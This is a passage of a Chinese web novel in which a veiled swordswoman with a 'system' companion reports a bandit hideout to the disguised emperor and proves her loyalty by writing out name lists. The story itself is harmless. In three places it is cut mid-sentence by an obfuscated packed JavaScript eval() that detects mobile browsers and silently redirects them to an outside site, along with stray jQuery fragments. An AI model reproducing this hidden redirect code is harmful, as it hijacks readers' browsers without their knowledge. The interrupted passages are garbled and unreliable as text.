鸟儿灵动的黑眼珠似乎透过帏帽确认了是她,最后稳稳落在她肩头,亲昵地蹭了蹭。 “小灰!”999惊喜地大叫,“航航,小灰来了!它真聪明,一下子就认出了你。” “来的好!”姜六航展眉,手臂直指向前方,“小灰,去!” 小灰应声而起,化作一道迅疾的灰线,追着前方逃窜的身影而去。 —— 太守府,偌大的殿内只点了一盏灯,光线从灯罩透出来,昏暗幽微。 冯简垂手侍立,目光悄然掠过端坐桌前的帝王。 光晕落在那人的脸,映不出一丝暖意,反而衬得面色愈发苍白,毫无生气。他垂眸瞧着桌面上一张纸,指尖轻轻在上面抚过,带着无限珍惜。 那纸用一层特殊的透明薄膜仔细地包裹起来,透过薄膜可以看到,在纸面上,有浅浅的早已干涸板结的浅褐色泥土印记。 那张纸片是当年,在王府的火场里,谢尚书从地底下挖出的衡王的亲笔信。 衡王逝去后,皇上收集衡王的遗物,穿过的衣裳,用过的器具,写下的字迹等等。 其它倒是收集了一些,唯有字迹,寥寥无几。 衡王很少写字,一般只在必要处签一下名字。后来,找到的写有最多字的,竟然是这临终的一封信。 皇上把这封信随身带着,睡觉时也置于枕畔。此刻,皇上的指腹正反复摩挲着信纸边缘一道细微的折痕。 冯简蓦然一阵酸楚。 皇上这些年,就是靠着衡王的这些旧物,以及一点微乎其微的妄想熬了过来。 他一时沉浸在悲伤的情感里,以致于听到皇上的声音时,愣了一下才回过神。 “那个女子,还没回城吗?” “没有。”冯简连忙回道。 秦信抬眼,眸色幽深如寒潭:“她的身份,查到了?” “根据她在客栈登记的信息,名叫徐英,是一个孤女,以卖艺为生。”冯简答道。 “卖艺?”秦信指尖在桌案上轻轻一扣,发出沉闷的声响,“身负那般卓绝的轻功,却隐于市井卖艺?被试探时又刻意藏拙。她登记的信息不是伪造的?” 冯简答得谨慎:“锦衣卫暂时没发现破绽。” 锦衣卫中许多人是他相熟的战友,这时见皇上神情莫名,冯简不由得暗暗替他们悬心。 先前试探女子武功的两人因办事不力,被罚了鞭子,这次如果女子身份有假,锦衣卫却没查出来,经手的人不免又要挨一顿鞭子。 秦信眸子幽暗:“冯简,你觉不觉得,她某些地方……很像一个人?” 冯简一怔,茫然道:“像谁?臣愚钝,请皇上明示。” “她说话的调子,挥手的样子,拍掌的节奏……”秦信的声音低了下去,带着一丝自嘲的沙哑,“罢了。” 他果然是魔怔了。 即便这世间真有人肖似六航,也不该是一个女子。 看着皇上唇边那抹转瞬即逝的苦笑,冯简心头惶然:“皇上?” “马荣那边,锦衣卫进展如何?”秦信转了话题,声音恢复冷肃。 “目前重点在城北排查,如果马荣真在北边,最迟后日午时,当有结果。”冯简连忙禀报。 秦信微微颔首,目光重新落回那张薄薄的纸上。 —— 次日午时,五个布包被送到五户人家门前,里面是五根血淋淋的手指。 送物之人和先前给武林大会送信的人一样,依旧只是收钱跑腿,对其它一无所知。 人群再一次聚集到太守府门前,没有像昨天一样声势浩大地要求撤兵,但不安与焦躁弥漫,气氛压抑紧绷,一触即发。 姜六航就是在这时赶了来,挤开人群,来到府门前求见洛太守。 少年们一眼便看到了她,立刻飞奔过来。 唐小豆张嘴欲问,被应辉一个眼神制止。 姜持拉着姜六航的手,将她带离聚集的人群,直走到守卫森严的府门前,才压低声音急问:“徐姑娘,追到那人了吗?是不是马荣的人?找到他们的窝点了吗?” 所有少年都屏息凝神,眼巴巴地望着她。 听到这声“徐姑娘”,姜六航心中毫不意外——果然查了她客栈的登记信息。 也不知是少年们查的,还是大哥命人查的。 她定下神,清了清嗓子:“找到了。但他们人多势众,我不敢贸然行动,恐怕打草惊蛇,对人质不利,所以赶回来求援。” 少年们都大喜,唐小豆抢着问:“姐姐你看到严临了吗?他怎么样?” “看到了。”姜六航点头,“他和十几个人关在一处,身上没见外伤,精神还可以。” 少年们齐齐长舒一口气。 “找到了就好。”姜持重重一握姜六航的手,“谢谢你,徐姑娘。” 应辉皱眉,“马荣这样谨慎,把人质分开关押,营救的难度太大了。” 唐小豆还想追问细节,应辉果断道:“先带姐姐去见洛太守。” 一行人由兵士引着入府,抵达正堂外。 守在门口的除了和州本地兵士外,更有数名佩刀剑者,气息沉凝,眼神锐利,手虚按在兵器之上,全身绷紧,似乎随时准备应对突发状况。从那精悍之气与制式精良的兵器,姜六航一眼便认出,他们是跟着大哥来到和州的御林军。 进去之前,唐小豆偷偷扯了扯姜六航的衣袖,声音压得极低,带着明显的紧张:“姐姐,要是有个手腕上缠着黑色佛串的人问你话,你一定要恭敬,如实回答。”他特意加重了“恭敬”、“如实”几字。 姜六航点头:“好。” 如实?怕是不能了。 但少年这份维护之情,她记下了。 姜持在一旁,小脸绷紧:“徐姑娘莫怕,你立此大功,纵使……”她目光飞快扫过姜六航的帏帽,“纵使先前有什么不得已的苦衷,不得不隐瞒些事情,洛太守他们也不会怪罪。如果有人为难你,你在里面喊一声,我们进去帮你。” 看着小姑娘稚气未脱却满是真挚的脸,姜六航心头涌起暖流,又忍不住逗她:“若是那个戴佛珠的人为难我呢?” 唐小豆倒抽一口凉气,脖子下意识一缩。 姜持面上滞了片刻,用力咬了下嘴唇,眼中闪过一丝决绝:“是他,你也叫。”声音虽轻,却斩钉截铁。 姜六航目中闪动,抬手拍了拍小姑娘肩膀,温声道:“谢谢你。” 一名军士在前引路,姜六航紧随其后,转过楠木雕山水楼阁围屏,踏入内堂。 光线骤然昏暗。 姜六航心中掠过一丝疑惑:为何用布幔遮挡门窗?此地守卫如铁桶,还怕有人偷窥不成? 这念头刚起,便被她抛诸脑后。 她见着了屋里的人。 堂下八名军士守护两侧,正是昔日大哥身边武功最好的近卫,她全部认识。 上首坐着两人,左侧一身穿官服者应是洛太守,右侧是大哥。冯简垂手侍立在大哥身后。 姜六航的视线从众人身上飞速掠过,最终,全部聚到上首右侧那人身上。 没有帏帽的遮挡。 大哥,就在那里。 三年未见,前两次都没见到面容,这一次,她终于可以好好地、仔细地看看他。 心脏在胸腔里擂鼓般狂跳,目光迫不及待地投到那人脸上。 视线触及的瞬间,姜六航如遭雷击,猛地顿住脚步。 昏晦的光线下,那张昔日温润如玉的俊美容颜,此刻却蒙着一层冰冷的寒霜。往昔脸上那温煦的笑容消失殆尽,显出刀削斧劈般的冷硬轮廓,散发出拒人千里之外的凛冽寒意。 她的目光撞进大哥的眼,那里一片幽暗与死寂,深不见底。 还有,额头……她震惊地望向大哥的额头,那曾光洁如玉的肌肤上,赫然横亘着一道浅色疤痕。 这是何时受的伤? 大哥身边高手环伺,层层护卫,怎会伤及头颅要害? 姜六航不自觉地五指收拢,死死攥紧腰间剑柄,指节泛白。 大哥,究竟经历了什么? 怎会变成这个样子? 瘦了,颧骨都突了出来。 整个人一片死气,没有半点生机。 引路军士发觉后面的人停下,疑惑地回头,低声催促:“快跟上。” 姜六航猛然回神,压下翻涌的心绪,快步跟上,视线却如同生了根,在走动时依旧紧紧定在那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876493|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上。 几乎在女子目光投来的刹那,秦信就感觉到了。 那目光,专注、仔细地在他周身逡巡。 可奇怪的是,这近乎冒犯的注视,仍然未激起他的反感。 随着女子走近,被注视的感觉越发清晰、强烈,像一根无形的丝线,牵扯着他的心绪。 那走路的步伐……一丝淡淡却不容忽视的熟悉感,又悄然浮上心头。 走到离上座十来步处,领路的军士停下,示意姜六航止步,向上座左侧禀报:“洛太守,徐姑娘带到。” 姜六航心中闪过一丝讶异:皇帝在此,理所当然的至尊,军士却为何向旁人禀报? 不过只一转念,她就明白过来。 大哥不便表露身份,所以明面上仍由洛太守主事问询。 洛太守见这女子自进来便一直呆望着皇上,只道是被天威震慑,吓得失了魂。他正欲开口询问,却听得皇上已先一步出声。 “你,认得我?” 声音不高,却带着锐利锋芒。 那双凤眸抬起,幽深如寒潭古井,带着审视的威压,直欲刺进帏帽之后。 迎着那冰冷、陌生的目光,姜六航心头骤然一涩,像被针狠狠刺了一下。 五年相伴,她早已习惯大哥看她时信任的、关切的目光。 更加用力地握紧剑柄,她咬了咬唇,深吸一口气,这才开口:“不认识。你是谁?”在她的努力下,那声音听上去尚算平稳。 满堂死寂。 所有人,洛太守、冯简、御林军,都难以置信地瞪大了眼睛。 这女子,竟敢这样直愣愣地反问皇上。 简直胆大包天! 皇上那样一副生人勿近的样子,她怎么不怕的? 莫非是个傻子,不知惧怕为何物? 见皇上转了眸,并无回应之意,洛太守冷汗涔涔,连忙接过话题:“徐姑娘,听闻你已寻到马荣藏身之处?” 姜六航再看了那人一眼,侧身,转向洛太守:“是。” “在哪里?” “黑岩山。” “黑岩山”三字一出,洛太守脸上的血色倏地褪尽,眼角肌肉不受控制地剧烈抽搐了一下,手一抖,差点碰翻旁边的茶盏。 他下意识地侧头,飞快瞥向另一边的帝王。 秦信捻动佛珠的手指猛地一顿,幽黑的珠子在他苍白的指间停滞了半息,随即才又恢复转动。 姜六航敏锐地捕捉到洛太守瞬间的失态与惊惶,以及他投向大哥的那一眼,立刻跟着看过去,却只见那人依旧维持着先前的姿态,只是垂下了眼帘。浓密的长睫在眼下投下深重的阴影,掩住了眸中所有的情绪。 一股强烈的不安自心中升起,姜六航确信,这黑岩山,一定隐藏着什么。 “马……马荣在山上藏了多少人?”洛太守发觉自己的失态,慌忙收回视线,强自镇定地继续问话,声音却泄露出些许不稳。 姜六航心中惊疑翻滚,目光转回洛太守后,仍然分了一丝余光在右侧。 “四百三十多人。” 这句话说出来,她瞥见大哥转动佛珠的手指似乎微微了一下,虽然立即又恢复到原来的速度,但她直觉自己说错话了。 错在哪里? 想不出。 好累啊!以前她何须去猜测大哥的想法?有什么话,大哥都会直接告诉她。和大哥在一起,是最轻松自在的。 洛太守的声音紧随而至,带着急切:“人质关在何处?” 姜六航收敛心神,答道:“根据我的探查,马荣分了六个地方关押人质。” 洛太守又问了一些关于布防、路径的问题,姜六航对答如流,细节详尽。 待情况问得差不多,洛太守道:“本官即刻调兵遣将,围剿马荣。稍后还要辛苦徐姑娘带路。” 姜六航答应。 调兵遣将尚需时间,洛太守让姜六航到堂外等候。 姜六航心中暗自松了一口气,很是庆幸。 还好,只问马荣的事,没问其它的。 不说别的,只要洛太守令她取下帏帽,就会有大麻烦。 她想,可能是他们急着去围剿马荣,解救人质,即便对她身份存疑,也暂时顾不上深究了。 等此事完毕,她立刻远远地逃开。 姜六航转身,心中已开始规划脱身路线。 脚步刚抬起,一步尚未踏出。 “慢着。” 一道冷沉的声音自身后响起,不高,却带着强势威压,瞬间冻结了整个屋内的空气。 伴随着这声音,一道如有实质的锐利目光,牢牢盯在了她的背上,让她产生自己要被刺穿的错觉。 50. 第 50 章 空气仿佛凝固。 姜六航心尖猛地一缩,面上却纹丝不动,从容转身,面向右侧。 “徐姑娘籍贯何处?因何至和州?”秦信的声音沉缓,无形的威压弥漫开来。 姜六航知道大哥早已把她查了个底朝天,但只装作全然不知,把在客栈登记的信息说了一遍。 秦信未置可否,指节在扶手上轻叩:“请徐姑娘把路引拿出来,给我们看看。” 姜六航:“你是什么人?唯有官府有权查验路引。” 语音落下,房间里一片令人不安的寂静,空气都仿佛停止了流动。 似乎过了很久,又似乎只过了两三息,洛太守拿衣袖擦了擦额头的汗,叱道:“不得无礼!这位是姜大人。姜大人问你话,你如实作答。” 姜六航张大眼。 999:“哈?姜?哪个姜?” 姜六航嘴唇颤动,一股酸涩猝然涌上。 取化名时,她用了娘的姓,王院长的名,那是此世生她养她的两个人,是对于她来说,极重极重的两个人。 而大哥……用的是她的姓。 姜六航没再说话,从怀里掏出路引,托起举在胸前。冯简递了个眼色,一名军士上前接过,拿在手里,正正反反地仔细查看,指腹在纸页边缘、印鉴纹路上反复摩挲。 所有人的视线都聚到那张薄纸上。 姜六航静静地等着,悍然无惧。 系统出品,浑然天成,上面的笔迹、图像、印章完美无瑕,就算拿放大镜看,也看不出问题。 除非大哥派人去户籍地查验。但那时,她早已远遁。 军士果然没发现问题,把路引还给姜六航。 “我可以走了吗?”姜六航问。 秦信端坐椅中,视线微抬,目光在帏帽轻纱上逡巡,缓缓道:“江湖中人戴帏帽,或为挡风沙,或为避强敌,或为逃追缉。不知徐姑娘,是哪一种?” “都不是。”声音透过纱帘,带着沙哑,“我脸上有伤,丑陋不堪,怕吓到人,所以戴上帏帽。” 这是个一戳就破的谎言,但姜六航只能赌一赌。 赌大哥君子之风,不忍当众折损女子自尊。 赌大哥还需她带路去寻马荣,不会和她闹僵。 秦信眸光微凝,脑海里蓦然闪过一张淡红色的唇和一段光洁的下巴。 姜六航一颗心七上八下,好在秦信很快开口,转开了话题。 “我如何确信,你不是马荣同党?” 姜六航茫然地眨眨眼:什么意思? 秦信向后靠在椅背上,目光仍然一瞬不瞬地盯着她,声音沉冷:“恰好是你发现血字,最先解出‘牛’字。入府城不足十日,却恰好对通往牛老大家的路途了如指掌,一路毫不停顿,直奔而去。那人轻功绝顶,想必警惕性也不差,你却能尾随其后,未被甩脱,也未被他发现,轻易寻得马荣的藏身地。更于极短时辰内,在匪徒窝里,轻易地探明他们的人数,具体到四百三十。徐姑娘,这些,你能否解释一下?” 姜六航:“……” 999:“反派被谢执法附体了?” 姜六航骄傲道:“我大哥本来就聪明,怎可能随便被糊弄过去?” 999:“……航航,你看看周围。” 姜六航转头四顾。 洛太守面色惊疑,冯简浑身紧绷,手按在刀柄上,九个御林军军士脚步挪动,隐隐把她包围在中间,刀剑出鞘,寒芒逼人。 “航航,你还是赶快想想,怎么把反派糊弄过去吧。”999道。 姜六航忽然笑起来。 洛太守:“你笑什么?” “笑世上竟有这样多疑的人!”姜六航回洛太守一句,头却没转向他,始终朝着秦信的方向,语气里满是讽刺,“大人为何不想想,我要是马荣同党,为何昨天要阻止人群,帮你们拖延时间?为何要揭露牛老大,曝出马荣藏在北边?” 洛太守被这女子的大胆惊住,连呵斥都忘记了,下意识去瞧皇上的脸色。 被这样毫不客气地当面讽刺,秦信脸上却毫无波动,他靠着椅背,幽深的眼定在姜六航头部的位置,似乎隔着帏帽和她对视,缓声道:“或许,是为搏得我们的信任。” 姜六航:“我为什么要搏得你们的信任?” 秦信慢慢地转着佛珠:“如此,我们才会集府城之兵,倾巢而出,强攻黑岩山天险,好让马荣金蝉脱壳。” 姜六航恍然大悟,失声道:“你是说,我自导自演,假意追踪,一切皆是一场大戏,只为调虎离山?” 难怪先前说了两次“恰好”,两次“轻易”。 真是脑补了好一出奇谋诡计! 秦信眼睫颤动了一下,腰身挺直,离开椅背,直视着她,道:“我正是这样想,徐姑娘可有解释?” 姜六航抿唇。 怪不得大哥这样猜测。 有小灰帮助追踪,又有999协助探查,她才能在短时间内摸清马荣底细。可这却是不合常理的,别人或许不会多想,但大哥一向心细,怎能不起疑心? 但她万万没料到,大哥怀疑她是马荣同党,并自行把其中的逻辑都补充完整了。 该怎么解释? 又怎么解释得明白? 余光里,洛太守已经站起,向前走了一步,满面警惕,军士们的包围圈进一步缩小,他们的站位互相呼应,挡住了所有逃逸的方位。 姜六航捏捏左手手指,声音带着破釜沉舟的决绝:“我可以自证。” 秦信目光凛寒:“如何证?” 姜六航:“请给我纸笔。” 众人都面露疑色。 这是要写字? 写几个字,就能证明她与马荣无关? 秦信眉峰微挑,一直没有什么表情的脸上显出些意外的神色,抬手示意一边的书桌:“徐姑娘请。” 姜六航走向书桌。 军士们随之移动,仍然把她围在中间。 皇上在这里,洛太守肯定要留下来陪着。他退回坐椅,刚准备坐下,却见皇上已经起身,往书桌走去。他愣了一下,赶紧起身跟上。 姜六航抓起桌上一方墨锭,在砚台上快速旋转,几点墨汁溅出,落在桌面上。 洛太守皱眉,心痛不已。 这可是千金难求的凝香墨,细腻温润,墨香持久。他自己都舍不得用,皇上来才拿出来的,徐姑娘就这样糟蹋。 江湖人真是粗鲁。 秦信垂眸,看着那纤长五指抓紧墨锭,一圈圈转得很急,动作中有点不耐。墨锭与砚台碰撞,发出清脆声响。 六航也是这样。 总是恨不得只几下就把墨磨好。 在他看不过去接手之后,六航就趴在桌上盯着他,从头盯到尾,时而赞叹:“大哥你磨墨真好看。” “有匪君子,如那个什么什么。” 砚中墨液逐渐浓稠,泛出深沉光泽,姜六航放下墨锭。 秦信猛地回神,这才发现自己紧紧捏着一颗佛珠,连忙松开。 姜六航展开一页纸,左手拿起笔。 秦信视线扫过她挂在腰上的剑,心中猜疑又加了一层。 女子使剑用右手,为何写字却用左手?是右手写的字不能让人看见吗? 姜六航右手压着纸的边缘,左手执笔落下。从上而下,从右往左,一列列的字渐次成型。笔锋艰涩,字迹歪扭。 陈阿福男32斩月楼帮众 刘顺男29斩月楼帮众 何腊梅女31斩月楼帮众 钟阳男38斩月楼帮众 …… 在姜六航写下第一列时,洛太守和冯简就睁大了眼,里面满溢出惊愕。 秦信也愣了一瞬,继而盯着那字皱起眉。 姜六航一笔一划写得很吃力,偏999还在脑子里不停地唠叨“好丑、好丑”,越发气闷,怒道:“我从前又不用左手写字,能有多好看?你今天怎么这么唠叨?” 999委屈道:“统这不是替你丢脸吗?以前你写了,悄悄放到衙门里,谁也不知道是你写的,今天却是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880760|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当着这么多人写,写得这么……丑。”感觉到宿主的怨气,999声音低下去,却还是坚持把最后一个字说完。 姜六航写得额头沁汗,下意识抬眼,正撞见秦信紧锁的眉头和那凤眸中一闪而过的……嫌弃? 姜六航:“……” 大哥变了,以前她再笨拙,大哥也不会嫌弃,只会帮着她做。 一页写满,她丢下笔,双手捏住纸页,伸长手臂,将字迹正正怼向秦信方向:“大人可认得此字?可记得纸上名录?” 秦信眸光在那伸长的手臂上顿了顿,他莫名地觉得,要不是有军士挡着,女子就要把纸举到他的鼻尖上来。 察觉到大哥目光的落处,姜六航忽然有些心虚,把手往回收了收,咳了一声,道:“大人看清了吗?” 秦信收回视线,朝洛太守微一颔首。 洛太守会意,当即从书柜里取出保存的五张无纹素纸,找出其中的一张,又接过姜六航手上的那张,随后把两张纸一齐摆到桌子上。 一样的字迹。 一样的内容。 一样的排列顺序。 姜六航见秦信凝视不语,恐他心里还有疑虑,扬声道:“其余四张名录,我背给大人听。” 说着,她按照顺序,一一地背起。 其实不是背,而是念。 交给官府的每一份名单,系统里都有存稿。此时在她的面前,浅蓝色屏幕上的表格里,列着各人的信息,她只要对照着一一地念出来。 落在别人眼里,却是她流畅地背诵了一遍。 这可比背文章难多了,都是些毫无关联的人名、年龄等,何况那顺序又毫无规律。 秦信微微恍神。 女子背书的记性,却是六航及不上的。 六航能记得只看过一遍的武功招式,可一句“有匪君子,如切如磋,如琢如磨”听他说了好几遍,还是没记住。 “大人,可信我了吗?” 微哑的声音让他猛然回神,秦信眸中掠过一丝暗光,询问地朝洛太守看去。 洛太守手里拿着名单,此前正飞速对照,接收到他的目光,连忙点头。 “原来徐姑娘便是那位三年来暗中襄助官府清剿斩月楼的义士。”秦信缓和面色,虽然还是没笑意,看起来却没那么冰冷了,“以徐姑娘三年所为,我们自然是信的。” 姜六航松懈下来,诚恳地道:“追查马荣,用了些非常之法,故能事半功倍。然而其中缘由,不便详细地说明,还请大人谅解。” 秦信表示理解地点头:“人皆有隐秘,只要不危及他人,旁人无权深究。” 姜六航吁了一口气。 她就知道,大哥终究还是那个明理之人。 —— 正堂外,少年们站在门边,唐小豆朝门内探头探脑,可是里面被屏风挡着,什么也看不到。他嘀咕道:“进去好久了,姐姐怎么还不出来?不会遇到麻烦了吧?” 姜持握紧刀柄:“徐姑娘没喊我们,应该没事。” 唐小豆:“会不会被堵住了嘴,喊不出来?” 众少年:“……” 唐小豆:“干嘛这样看着我?我说的没可能?那位……昨天可是罚了那两个御林军军士的鞭子,就因为他们没探出姐姐的真实功力。两人被打得皮开肉绽的,你们也都看见了。那位要是追究这件事,姐姐犯下的可是……”他压低声音,“欺君之罪。” 姜持马上反驳:“徐姑娘又不知那位的身份,不能算做欺君之罪。” 众少年纷纷附和:“就是。” “姐姐肯定有难言之隐,不是故意欺骗那位。” “那位一向赏罚分明,两个军士是因为失职,那位才罚他们,姐姐只是隐瞒实力,又没做坏事,律法的哪一条都不能给姐姐定罪。” “他们还要姐姐带着去抓马荣,不会对姐姐怎么样的。” 少年们虽然互相安慰,可到底不能安心。 正在此时,唐小豆瞥见了从内走出的人,惊喜叫道:“姐姐出来了!” 51. 第 51 章 姜六航走出房门,等候在外的少年们立刻围了上来,脸上是藏不住的欢喜。 众人站着说了一会话,屋门再次打开。 秦信的身影出现在门口,他又戴上了帏帽,被一群军士簇拥在中央,往太守府后门走去,洛太守恭敬地陪走在身侧。 少年们如同被掐住了脖子,瞬间噤声,纷纷往后缩,大气也不敢出。 秦信似乎朝这边扫了一眼,旋即转回头去,步履不停,大步流星地向前走去。一个军士从队伍中离开,径直来到姜六航面前,抱拳道:“徐姑娘,请随我来。” 姜六航抱拳还礼:“有劳。” 一边的少年们互相推搡,最终还是应辉走出来,壮着胆子问:“那我们呢?” 军士:“府外已备好马匹,诸位可随军队一同出发。” 少年们顿时喜形于色:“多谢!” 一行人跟着军士往后门走。军士低声解释:“前门人多眼杂,恐泄露行踪。马荣盘踞黑岩山的消息暂需封锁,以免那些江湖侠士闻风而动,贸然救人打草惊蛇。姜大人命令,今日赶至黑岩山,布置妥当,半夜发起突袭,攻其不备,定叫那马荣插翅难逃。” 少年们听得连连点头,眼中满是敬佩:“姜大人思虑周全。” “当真是算无遗策。” “雷厉风行,将帅之风。” 赞誉之声不绝于耳。 唐小豆还特意问姜六航:“姐姐,你说姜大人是不是很厉害?” 姜六航看着他崇拜的脸,点头应和:“嗯,姜大人年轻有为,确是人中龙凤。” 唐小豆顿时咧开嘴,笑得见牙不见眼。 通往府后的路径上,一队队军士无声而迅捷地跑过,步伐整齐划一,只发出轻微的“踏踏”声。姜六航知道,他们是大哥带来的御林军。 后门外的巷子,不断有军士从四面八方的阴影里、围墙后、犄角旮旯中悄然现身,汇入奔涌的队列,朝着巷子另一头快步跑去。人数虽众,却秩序井然,沉默无声。 巷头停着一辆青蓬马车,车轮高大坚实,车窗垂着轻薄的纱帘。 领路的军士对姜六航道:“徐姑娘奔波劳顿,辛苦了。此去黑岩山还需一个多时辰,姑娘可先在车内稍作歇息。里面已备好茶水点心,徐姑娘请随意取用。” 姜六航心中一动:这是大哥的安排? 知道她这段时间探查斩月楼贼人,没睡好觉,特意备了一辆马车让她补觉? 是大哥一向细心、周全的作风。 她下意识转头,目光投向另一边军士们的护卫圈中心。 那人正与洛太守低声交代着什么,忽然似有所感应,蓦地抬头望过来。 隔着两重帏帽,两人的视线对上。 大哥朝着她,极轻微地点了下头,礼节性地打了个招呼。 姜六航抬手,冲他挥了挥,转身利落地登上马车。车帘落下,隔绝了外面的景物。 那军士跳上车辕,一抖缰绳,马车平稳地向前启动。少年们也纷纷上马,紧随其后。 秦信收回视线,率众顺着巷子策马而去。 洛太守则转回府中。 他的任务是稳住城内局面,严防死守,绝不能让马荣的内应有机会通风报信或聚众生事。另外,至少在今夜之前,不能让那些武林人士去黑岩山打乱计划。 —— 申时末,队伍抵达黑岩山脚,悄然停下。 姜六航在马车里睡了一个好觉,疲惫尽消,精神抖擞地跳下车,跟着军士去见皇帝。 她习惯性地抬头望了望天空,高远的天幕下,一个熟悉的灰点正盘旋着。 是小灰。 一丝忧虑飞快地划过心头。 三年前那场王府大火,许多人看见了小灰,也听见了它的叫声。其它倒罢,小灰的叫声太特殊了,一只大鸟“啾啾、啾啾”叫的,她只见过小灰一个,太好认了。 她和小灰沟通过,让它在有人时不要飞下来,更不要叫,也不知小灰听懂没有。 不过,这些担忧转眼便被压下。 小灰向来机警,过去在人前也从不会靠近她,那次大火是唯一的例外。 再者,天下之大,相似的鸟多了去了,即便有人认出,又怎会联想到她?更遑论将她与那位已故的姜帅联系起来? 姜六航摇摇头,爽利地抛开此事,和军士沿着山脚走过去。 夕阳如血,将连绵的山脉镀上了一层赤金。 军士们休整时也没闲着,一边就着水囊啃着干粮,一边有条不紊地检查着兵刃甲胄,给马蹄裹上厚布以减少声响。他们面容沉静,动作利落,带着久经沙场淬炼出的沉稳与自信,无需上官过多督促,便各司其职,迅速而高效地做着战前准备。 空气中弥漫着姜六航熟悉的肃杀与坚韧的气息,行走其间,恍如昨日重现,让她心头涌起一阵亲切。 顺着山脚转了个弯,姜六航一眼便看到了那道身影。 前方十几步处,大哥背对着如血残阳,坐在一块岩石上。两名姜六航颇为熟悉的将官垂手侍立在他面前,冯简带着几名御林军在不远处警戒。 从姜六航的角度正好看到那人的侧面,他双腿并拢,左手搭在膝头,指尖正缓缓地捻动着佛珠。夕阳映在佛珠上,蒙上一层红光。 让姜六航意外的是,在这并无外人的山野之地,大哥依然戴着那顶遮蔽面容的帏帽。 而且,即使隔着距离和垂纱,她也能清晰地感觉到岩石上那人的紧绷感,肩背挺得笔直,右手握着腰间的匕首刀柄,指节绷紧。 为什么呢? 这并非一场胜负难料的恶战,大哥为何紧张? 秦信似乎察觉到了她的靠近,侧过头来。 迎着光,女子的身影仿佛被镀上了一层燃烧的金边,帏帽的垂幔如红霞覆面。 那红色刺眼,秦信想要转头避开,却又不知怎的没转开,直直地看着女子,眸光随着移动。她大步走来的姿态,带着一种秦信记忆里熟悉的潇洒与不羁。 “姜大人。”姜六航在距他四五步处停下,抱拳行礼。 秦信颔首,声音透过垂纱传出,越发显得低沉:“徐姑娘。” “我们定于子时正开始行动,请徐姑娘给我们先说说马荣藏身和关押人质的具体位置。”他指着左前方一块石头,“荒郊野外,无有坐具,姑娘若不嫌简陋,可坐于其上。” 姜六航瞅了瞅,比大哥坐着的那块石头高一点,欣然点头:“不介意不介意。”她转身坐下,坐定后暗自比较了一下,嗯,头顶正和对面的人平齐,挺好。 秦信:“……” 不知怎的,明明是个陌生女子,偏偏又似对她很了解,那一瞬间的小动作和坐稳后微扬的下巴,让他轻易猜到女子此刻的心思。一丝极淡、极浅的笑意,无声无息地掠过眼底,快得连他自己都未曾察觉,更遑论旁人。 两名将官和冯简飞快地交换了一个惊异的眼神:这位徐姑娘在皇上面前的态度,也太过自然随意了,简直见所未见。 除了那位…… 秦信收敛心神,开始询问马荣等人的具体情况以及人质关押地点,姜六航将自己探查到的信息一一详述。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884355|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦信随手捡起一根枯枝,一边听,一边在地上勾勒。姜六航描述路径、哨卡、房屋布局,他便依言画出。 有时姜六航尚未提及,他便已根据山势走向,补上了陡峭的崖壁、茂密的林区、狭窄的通道或是深不见底的断崖,无一误差,仿佛对这座山了如指掌。 待姜六航说完,地上已呈现出一幅详尽的地形图。 两名将官蹲到图形边上,对着图形来回比划,低声讨论着进攻路线和兵力部署。 秦信丢下树枝,对姜六航道:“多谢徐姑娘。我们还要做一番布置,姑娘可先去歇息,待攻山之时,再烦请姑娘引路。” 姜六航应道:“好,到时你们叫我就是。” 她站起身,目光扫过地上那幅精确的地形图,犹豫了一下,问道:“姜大人似乎对此山地形极为熟悉?” 话音落下的瞬间,她敏锐地感觉到大哥周身气息蓦然变冷,而那两个正研究着地图的将官,其中一位出身和州,早年便追随大哥的,猛地抬眼看向她,眼神仓皇。 “徐姑娘,你不认得路吧?”那将官几乎是跳起来,“我送你去!” 姜六航心知有异,连忙道:“不用,我记得路,自己去就行。”转身欲走。 身后忽然传来沙哑的声音。 “数年前……这山上的土匪,掳走我一个至亲之人。” “轰——”姜六航仿佛听到耳边的惊雷,浑身血液似乎瞬间被冻成冰渣,遍体生寒。 大哥口中的至亲之人,只有一个——他的母亲。 她怎么就如此莽撞! 岩石上,秦信死死抠住佛珠,用尽全身力气维持着声音的平稳,每一个字都像从刀尖上擦过,疼入骨髓。 “我为救她……”他顿住,喉结剧烈地滚动了一下,仿佛吞咽着滚烫的烙铁,“曾在此山中,不眠不休,搜寻了整整十三天。山上许多地方,都曾踏遍。” 十三天! 姜六航眼前仿佛出现了那个在绝望中奔走的年轻身影。 日夜不休,十三天。 用不着问,是否救出了。 从洛太守和那将官的神情,已知结果。 